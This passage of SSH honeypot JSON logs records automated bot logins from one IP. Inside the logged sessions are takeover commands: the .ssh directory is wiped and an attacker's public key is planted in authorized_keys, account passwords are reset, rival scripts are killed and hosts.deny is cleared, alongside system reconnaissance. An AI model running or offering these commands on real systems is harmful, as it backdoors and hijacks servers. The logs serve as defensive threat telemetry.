~"},{"seq":3,"at":"2026-08-27T13:56:15.716035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:56:17.358768+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:56:18.047390+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nQMl7qWgEy33R\\nQMl7qWgEy33R\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:56:18.603089+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nQMl7qWgEy33R\\nQMl7qWgEy33R\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:56:18.961059+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:56:19.681520+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:56:20.186031+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:56:20.899873+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:56:21.223357+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:56:22.163609+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:56:22.532185+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:56:24.657094+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:56:25.020300+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:56:26.792759+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:56:27.152272+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:56:29.144270+00:00","kind":"output","latency_ms":null,"data":" 13:56:29 up 7 days, 10:46, 0 user, load average: 0.35, 0.27, 0.4\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:56:29.509255+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:56:31.508447+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:56:31.986666+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:56:34.029459+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:56:34.384513+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:56:35.409663+00:00","kind":"output","latency_ms":null,"data":"top - 13:56:35 up 7 days, 10:46, 0 user, load average: 0.35, 0.27, 0.4\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:56:35.767169+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:56:36.624252+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:56:37.052840+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:56:38.806897+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:56:39.171246+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:56:40.373440+00:00","kind":"output","latency_ms":null,"data":"myuser"},{"seq":31,"at":"2026-08-27T13:56:40.839242+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:56:42.525216+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:56:43.302147+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:56:44.375080+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"myuser","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"2210d80b-ab2c-4997-b0ea-9b6bf2c2c0ca","name":"hidden-solemn-dormouse","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":40764,"username":"myuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:56:14.307109+00:00","ended_at":"2026-08-27T13:56:15.606510+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"myuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b571d2d6-a28e-4242-a7d1-b99906a07a1a","name":"twilight-honest-bluebird","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":38354,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:56:10.644453+00:00","ended_at":"2026-08-27T13:56:12.605858+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bd28fa80-f266-4e39-ad73-4ddea68a43ff","name":"lively-burly-greenfinch","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":50760,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":480,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:55:13.593247+00:00","ended_at":"2026-08-27T13:55:15.678836+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T13:54:41.403059+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:54:41.751501+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:54:45.704415+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:54:46.807663+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:54:47.604815+00:00","kind":"input","latency_ms":null,"data":"echo \"root:FaVqxv2XZLR2\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:54:48.358787+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:54:48.809766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:54:49.039500+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:54:50.555068+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:54:50.901253+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:54:52.187719+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:54:52.638040+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:54:53.531036+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:54:53.882288+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:54:55.970205+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:54:56.743216+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:54:58.354317+00:00","kind":"output","latency_ms":null,"data":" 13:54:58 up 7 days, 10:45, 0 user, load average: 0.21, 0.16, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:54:58.699489+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:55:00.643156+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:55:01.123137+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:55:01.973658+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:55:03.015588+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:55:04.882134+00:00","kind":"output","latency_ms":null,"data":"top - 13:55:04 up 7 days, 10:45, 0 user, load average: 0.21, 0.16, 0.24\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:55:05.330703+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:55:06.454885+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:55:07.247391+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:55:08.468150+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:55:09.063732+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:55:10.616225+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:55:11.383478+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:55:13.118014+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:55:13.595284+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:55:15.446679+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123@root","method":"password","accepted":true,"tier":"other"}]} {"id":"e0c99e99-f25b-41ac-9f98-ea2229ad105c","name":"distant-gnarled-pochard","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":53340,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:54:44.096849+00:00","ended_at":"2026-08-27T13:54:45.600530+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9ded0add-fdae-4c60-80a5-f49f1fd7eaef","name":"oaken-mighty-bushbaby","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":52066,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:54:42.518330+00:00","ended_at":"2026-08-27T13:54:43.413924+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b8066e45-449f-459c-84fe-f63d50fc71c0","name":"daring-dewy-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":37456,"username":"eva","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":350,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:53:37.878606+00:00","ended_at":"2026-08-27T13:53:39.794676+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2075,"events":[{"seq":1,"at":"2026-08-27T13:53:15.824439+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:53:16.644941+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:53:22.123627+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:53:22.607942+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:53:22.961044+00:00","kind":"input","latency_ms":null,"data":"echo -e \"eva\\n3PNKNCqs9eEU\\n3PNKNCqs9eEU\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:53:23.747228+00:00","kind":"input","latency_ms":null,"data":"echo \"eva\\n3PNKNCqs9eEU\\n3PNKNCqs9eEU\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:53:24.196170+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:53:24.500967+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:53:24.960732+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:53:26.152701+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:53:26.731335+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:53:27.698227+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:53:28.149619+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:53:29.037257+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:53:29.384399+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:53:29.933177+00:00","kind":"output","latency_ms":null,"data":" 13:53:29 up 7 days, 10:43, 0 user, load average: 0.32, 0.4, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:53:30.278593+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:53:30.882965+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:53:31.331644+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:53:31.782546+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:53:32.868482+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:53:33.437135+00:00","kind":"output","latency_ms":null,"data":"top - 13:53:33 up 7 days, 10:43, 0 user, load average: 0.32, 0.4, 0.2\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:53:33.782657+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:53:34.272348+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:53:34.619779+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:53:35.082677+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:53:35.428460+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:53:35.881151+00:00","kind":"output","latency_ms":null,"data":"eva"},{"seq":29,"at":"2026-08-27T13:53:36.225636+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:53:37.530319+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:53:37.879739+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:53:39.461366+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"eva","password":"eva","method":"password","accepted":true,"tier":"other"}]} {"id":"42c56893-6fe3-4c34-a279-cb026fd96ce3","name":"balmy-loyal-chough","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":41478,"username":"eva","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:53:20.343933+00:00","ended_at":"2026-08-27T13:53:22.014341+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"eva","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"61078aa0-8ce6-42ad-a348-22f7a992978d","name":"gnarled-russet-cuckoo","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":39244,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:53:17.465506+00:00","ended_at":"2026-08-27T13:53:19.430620+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d35905db-dc88-46cb-bf64-12db1386a69a","name":"loyal-jaunty-wallaby","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":54154,"username":"terraria","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":343,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:52:14.024949+00:00","ended_at":"2026-08-27T13:52:14.976452+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2077,"events":[{"seq":1,"at":"2026-08-27T13:51:53.905585+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:51:54.591285+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:51:59.192117+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:51:59.587228+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:51:59.928416+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nVD4stg0kRV9Y\\nVD4stg0kRV9Y\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:52:00.394121+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nVD4stg0kRV9Y\\nVD4stg0kRV9Y\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:52:00.837525+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:52:01.370672+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:52:01.713811+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:52:03.168815+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:52:03.512883+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:52:04.467756+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:52:04.916081+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:52:05.166424+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:52:05.700455+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:52:06.101175+00:00","kind":"output","latency_ms":null,"data":" 13:52:06 up 7 days, 10:42, 0 user, load average: 0.03, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:52:06.442678+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:52:06.713410+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:52:07.054070+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:52:07.932724+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:52:08.406800+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:52:08.946704+00:00","kind":"output","latency_ms":null,"data":"top - 13:52:08 up 7 days, 10:42, 0 user, load average: 0.03, 0.02, 0.02\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:52:09.471076+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:52:10.031185+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:52:10.378761+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:52:11.054339+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:52:11.394896+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:52:11.689040+00:00","kind":"output","latency_ms":null,"data":"terraria"},{"seq":29,"at":"2026-08-27T13:52:12.227744+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:52:13.685297+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:52:14.025910+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:52:14.884013+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"terraria","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"e68626b6-8810-48f2-a774-431c54c27500","name":"plucky-meadow-springbok","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":58494,"username":"terraria","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:51:58.385104+00:00","ended_at":"2026-08-27T13:51:59.094494+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"terraria","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"14283c8e-555b-48a4-9e89-0a401239e17e","name":"dutiful-hazel-fossa","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":56014,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:51:55.583671+00:00","ended_at":"2026-08-27T13:51:57.278137+00:00","ended_reason":"no channel 